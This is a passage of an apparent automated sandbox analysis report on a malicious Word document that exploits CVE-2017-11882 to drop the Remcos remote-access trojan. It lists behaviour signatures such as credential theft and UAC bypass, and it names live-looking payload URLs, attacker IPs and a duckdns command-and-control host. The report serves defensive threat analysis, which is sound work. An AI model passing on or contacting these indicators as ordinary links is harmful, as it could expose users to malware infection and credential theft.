file7 signatures8 process9 signatures10 67 Suspicious powershell command line found 18->67 69 Wscript starts Powershell (via cmd or directly) 18->69 71 Obfuscated command line found 18->71 73 3 other signatures 18->73 21 powershell.exe 12 5 18->21         started        process11 dnsIp12 49 198.46.176.133, 49164, 80 AS-COLOCROSSINGUS United States 21->49 75 Writes to foreign memory regions 21->75 77 Suspicious execution chain found 21->77 79 Injects a PE file into a foreign processes 21->79 25 RegAsm.exe 3 13 21->25         started        signatures13 process14 dnsIp15 51 maveing.duckdns.org 25->51 53 maveing.duckdns.org 192.3.101.142, 18576, 49166, 49167 AS-COLOCROSSINGUS United States 25->53 55 geoplugin.net 178.237.33.50, 49168, 80 ATOM86-ASATOM86NL Netherlands 25->55 45 C:\Users\user\AppData\Local\Temp\...\logs.dat, data 25->45 dropped 81 Contains functionality to bypass UAC (CMSTPLUA) 25->81 83 Detected Remcos RAT 25->83 85 Tries to steal Mail credentials (via file registry) 25->85 89 7 other signatures 25->89 30 RegAsm.exe 1 25->30         started        33 RegAsm.exe 1 25->33         started        35 RegAsm.exe 11 25->35         started        file16 87 Uses dynamic DNS services 51->87 signatures17 process18 signatures19 91 Tries to steal Instant Messenger accounts or passwords 30->91 93 Tries to steal Mail credentials (via file / registry access) 30->93 95 Searches for Windows Mail specific files 30->95 97 Tries to harvest and steal browser information (history, passwords, etc) 33->97

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              erthings.doc47%ReversingLabsDocument-RTF.Exploit.CVE-2017-11882
              erthings.doc100%AviraHEUR/Rtf.Malformed

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp100%AviraEXP/CVE-2017-11882.Gen
              C:\Users\user\Desktop\~WRD0000.tmp100%AviraEXP/CVE-2017-11882.Gen

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://www.imvu.comr0%URL Reputationsafe
              https://contoso.com/License0%URL Reputationsafe
              https://deff.nelreports.net/api/report?cat=msn0%URL Reputationsafe
              https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js0%URL Reputationsafe
              http://geoplugin.net/json.gp/C0%URL Reputationsafe
              http://acdn.adnxs.com/ast/ast.js0%Avira URL Cloudsafe
              https://contoso.com/0%URL Reputationsafe
              http://www.imvu.com/iK0%Avira URL Cloudsafe
              https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=10%Avira URL Cloudsafe
              http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png0%Avira URL Cloudsafe
              https://nuget.org/nuget.exe0%URL Reputationsafe
              http://b.scorecardresearch.com/beacon.js0%Avira URL Cloudsafe
              https://support.google.com/chrome/?p=plugin_flash0%Avira URL Cloudsafe
              http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html0%Avira URL Cloudsafe
              http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_0%Avira URL Cloudsafe
              https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=90%Avira URL Cloudsafe
              http://geoplugin.net/json.gp10%Avira URL Cloudsafe
              https://login.yahoo.com/config/login0%URL Reputationsafe
              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
              http://nuget.org/NuGet.exe0%URL Reputationsafe
              http://www.imvu.com0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              http://geoplugin.net/json.gp0%URL Reputationsafe
              http://geoplugin.net/json.gp:0%Avira URL Cloudsafe
              http://www.ebuddy.com0%URL Reputationsafe
              http://198.46.176.1330%Avira URL Cloudsafe
              http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com0%Avira URL Cloudsafe
              http://www.msn.com/?ocid=iehp0%Avira URL Cloudsafe
              https://www.google.com0%Avira URL Cloudsafe
              http://pr-bh.ybp.yahoo.com/sync/msft/16145220553121086830%Avira URL Cloudsafe
              http://o.aolcdn.com/ads/adswrappermsni.js0%Avira URL Cloudsafe
              https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=10330%Avira URL Cloudsafe
              http://cache.btrll.com/default/Pix-1x1.gif0%Avira URL Cloudsafe
              http://cdn.taboola.com/libtrc/msn-home-network/loader.js0%Avira URL Cloudsafe
              http://static.chartbeat.com/js/chartbeat.js0%Avira URL Cloudsafe
              http://www.msn.com/de-de/?ocid=iehp0%Avira URL Cloudsafe
              maveing.duckdns.org0%Avira URL Cloudsafe
              http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%0%Avira URL Cloudsafe
              http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(0%Avira URL Cloudsafe
              http://www.nirsoft.net/0%Avira URL Cloudsafe
              http://192.3.176.154/50/screensimplethingstohandlecream.gIF100%Avira URL Cloudmalware
              http://p.rfihub.com/cm?in=1&pub=345&userid=16145220553121086830%Avira URL Cloudsafe
              https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%30%Avira URL Cloudsafe
              https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=90%Avira URL Cloudsafe
              http://192.3.176.154/50/screensimplethingstohandlecream.gIFj0%Avira URL Cloudsafe
              http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh0%Avira URL Cloudsafe
              http://192.3.176.154/50/screensimplethingstohandlecream.gIFsD0%Avira URL Cloudsafe
              http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js0%Avira URL Cloudsafe
              https://www.ccleaner.com/go/app_cc_pro_trialkey0%Avira URL Cloudsafe
              http://198.46.176.133/Upload/vbs.jpeg100%Avira URL Cloudmalware
              https://contextual.media.net/0%Avira URL Cloudsafe
              https://contextual.media.net/8/nrrV73987.js0%Avira URL Cloudsafe
              http://192.3.176.154/50/HNBC.txt0%Avira URL Cloudsafe
              http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js0%Avira URL Cloudsafe
              https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%20%Avira URL Cloudsafe
              https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au0%Avira URL Cloudsafe
              http://www.msn.com/0%Avira URL Cloudsafe
              https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=5916504975490%Avira URL Cloudsafe
              http://cdn.at.atwola.com/_media/uac/msn.html0%Avira URL Cloudsafe
              http://go.microsoft.c0%Avira URL Cloudsafe
              http://192.3.176.154/50/screensimplethingstohandlecream.gIFcD0%Avira URL Cloudsafe
              https://www.google.com/accounts/servicelogin0%Avira URL Cloudsafe
              http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset0%Avira URL Cloudsafe
              https://policies.yahoo.com/w3c/p3p.xml0%Avira URL Cloudsafe
              http://www.msn.com/advertisement.ad.js0%Avira URL Cloudsafe
              http://192.3.176.1540%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              maveing.duckdns.org
              		192.3.101.142
              		truetrue
                		unknown
                geoplugin.net
                		178.237.33.50
                		truefalse
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  maveing.duckdns.orgtrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://192.3.176.154/50/screensimplethingstohandlecream.gIFtrue
                  • Avira URL Cloud: malware
                  		unknown
                  http://198.46.176.133/Upload/vbs.jpegfalse
                  • Avira URL Cloud: malware
                  		unknown
                  http://192.3.176.154/50/HNBC.txttrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://geoplugin.net/json.gpfalse
                  • URL Reputation: safe
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://b.scorecardresearch.com/beacon.jsbhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://acdn.adnxs.com/ast/ast.jsbhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.imvu.com/iKRegAsm.exe, 0000000C.00000002.388716747.00000000002BC000.00000004.00000010.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.imvu.comrRegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_bhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1bhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contoso.com/Licensepowershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://support.google.com/chrome/?p=plugin_flashRegAsm.exe, 0000000A.00000002.391867075.0000000000E08000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.pngbhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://geoplugin.net/json.gp1RegAsm.exe, 00000008.00000002.883935263.00000000008D7000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9bhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.htmlbhvA851.tmp.10.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.nirsoft.netRegAsm.exe, 0000000A.00000002.391539248.0000000000253000.00000004.00000010.00020000.00000000.sdmpfalse
                    		unknown
                    https://deff.nelreports.net/api/report?cat=msnbhvA851.tmp.10.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.jsbhvA851.tmp.10.drfalse
                    • URL Reputation: safe
                    		unknown
                    http://geoplugin.net/json.gp:RegAsm.exe, 00000008.00000002.883935263.00000000008D7000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://198.46.176.133powershell.exe, 00000006.00000002.369936532.000000000262B000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comRegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cache.btrll.com/default/Pix-1x1.gifbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.google.comRegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://geoplugin.net/json.gp/Cpowershell.exe, 00000006.00000002.370133163.0000000004128000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.883789126.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://o.aolcdn.com/ads/adswrappermsni.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cdn.taboola.com/libtrc/msn-home-network/loader.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/?ocid=iehpbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://contoso.com/powershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://nuget.org/nuget.exepowershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://static.chartbeat.com/js/chartbeat.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/de-de/?ocid=iehpbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://login.yahoo.com/config/loginRegAsm.exefalse
                    • URL Reputation: safe
                    		unknown
                    http://www.nirsoft.net/RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.369936532.00000000024F1000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://192.3.176.154/50/screensimplethingstohandlecream.gIFjEQNEDT32.EXE, 00000002.00000002.356840945.000000000053F000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_shbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://nuget.org/NuGet.exepowershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://192.3.176.154/50/screensimplethingstohandlecream.gIFsDEQNEDT32.EXE, 00000002.00000002.356840945.0000000000534000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.ccleaner.com/go/app_cc_pro_trialkeybhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://contextual.media.net/8/nrrV73987.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.imvu.comRegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.389336890.0000000001FD9000.00000004.00000020.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contoso.com/Iconpowershell.exe, 00000006.00000002.370133163.0000000003519000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://contextual.media.net/bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:aubhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549bhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://cdn.at.atwola.com/_media/uac/msn.htmlbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://go.microsoft.cpowershell.exe, 00000006.00000002.369775258.000000000066C000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.google.com/accounts/serviceloginRegAsm.exefalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://192.3.176.154/50/screensimplethingstohandlecream.gIFcDEQNEDT32.EXE, 00000002.00000002.356840945.0000000000534000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2FsetbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://policies.yahoo.com/w3c/p3p.xmlbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://192.3.176.154powershell.exe, 00000006.00000002.373087167.00000000082F1000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.msn.com/advertisement.ad.jsbhvA851.tmp.10.drfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.ebuddy.comRegAsm.exe, RegAsm.exe, 0000000C.00000002.388835589.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    192.3.176.154
                    		unknownUnited States
                    		36352AS-COLOCROSSINGUStrue
                    198.46.176.133
                    		unknownUnited States
                    		36352AS-COLOCROSSINGUSfalse
                    178.237.33.50
                    		geoplugin.netNetherlands
                    		8455ATOM86-ASATOM86NLfalse
                    192.3.101.142
                    		maveing.duckdns.orgUnited States
                    		36352AS-COLOCROSSINGUStrue

                    General Information

                    Joe Sandbox version:40.0.0 Tourmaline
                    Analysis ID:1483046
                    Start date and time:2024-07-26 15:04:11 +02:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 10m 41s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:defaultwindowsofficecookbook.jbs
                    Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                    Number of analysed new started processes analysed:15
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:erthings.doc
                    renamed because original name is a hash value
                    Original Sample Name:iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc
                    Detection:MAL
                    Classification:mal100.phis.troj.spyw.expl.evad.winDOC@14/21@5/4
                    EGA Information:
                    • Successful, ratio: 83.3%
                    HCA Information:
                    • Successful, ratio: 99%
                    • Number of executed functions: 173
                    • Number of non-executed functions: 313
                    Cookbook Comments:
                    • Found application associated with file extension: .doc
                    • Found Word or Excel or PowerPoint or XPS Viewer
                    • Attach to Office via COM
                    • Scroll down
                    • Close Viewer
                    • Override analysis time to 79508.5272323247 for current running targets taking high CPU consumption
                    • Override analysis time to 159017.054464649 for current running targets taking high CPU consumption

                    Warnings

                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
                    • Execution Graph export aborted for target EQNEDT32.EXE, PID 2396 because there are no executed function
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size exceeded maximum capacity and may have missing disassembly code.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                    • VT rate limit hit for: erthings.doc

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    09:05:02API Interceptor64x Sleep call for process: EQNEDT32.EXE modified
                    09:05:05API Interceptor24x Sleep call for process: powershell.exe modified
                    09:05:05API Interceptor9x Sleep call for process: wscript.exe modified
                    09:05:11API Interceptor11962552x Sleep call for process: RegAsm.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    192.3.176.154girlfrnd.docGet hashmaliciousRemcosBrowse
                    • 192.3.176.154/xampp/glo/KBV.txt
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 192.3.176.154/50/HNBC.txt
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 192.3.176.154/xampp/glo/KBV.txt
                    198.46.176.133girlfrnd.docGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    042240724.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    createdgoodthingswtihmewhilealot.gif.vbsGet hashmaliciousUnknownBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    greatbunfeelsoftandhoney.gif.vbsGet hashmaliciousUnknownBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    PO S0042328241130.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133/Upload/vbs.jpeg
                    178.237.33.50girlfrnd.docGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    UD61dgs2rz.exeGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • geoplugin.net/json.gp
                    Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp
                    LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                    • geoplugin.net/json.gp

                    Domains

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    maveing.duckdns.orgDHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 192.3.101.142
                    geoplugin.netgirlfrnd.docGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    UD61dgs2rz.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 178.237.33.50
                    Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50

                    ASNs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    AS-COLOCROSSINGUSgirlfrnd.docGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 192.3.101.142
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 104.168.45.34
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 198.46.178.145
                    file.exeGet hashmaliciousVidarBrowse
                    • 198.46.178.145
                    AS-COLOCROSSINGUSgirlfrnd.docGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 192.3.101.142
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 104.168.45.34
                    IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                    • 198.46.178.145
                    file.exeGet hashmaliciousVidarBrowse
                    • 198.46.178.145
                    ATOM86-ASATOM86NLgirlfrnd.docGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    UD61dgs2rz.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                    • 178.237.33.50
                    Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    Quotation.xlsGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                    • 178.237.33.50
                    AS-COLOCROSSINGUSgirlfrnd.docGet hashmaliciousRemcosBrowse
                    • 198.46.176.133
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                    • 192.227.225.166
                    DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
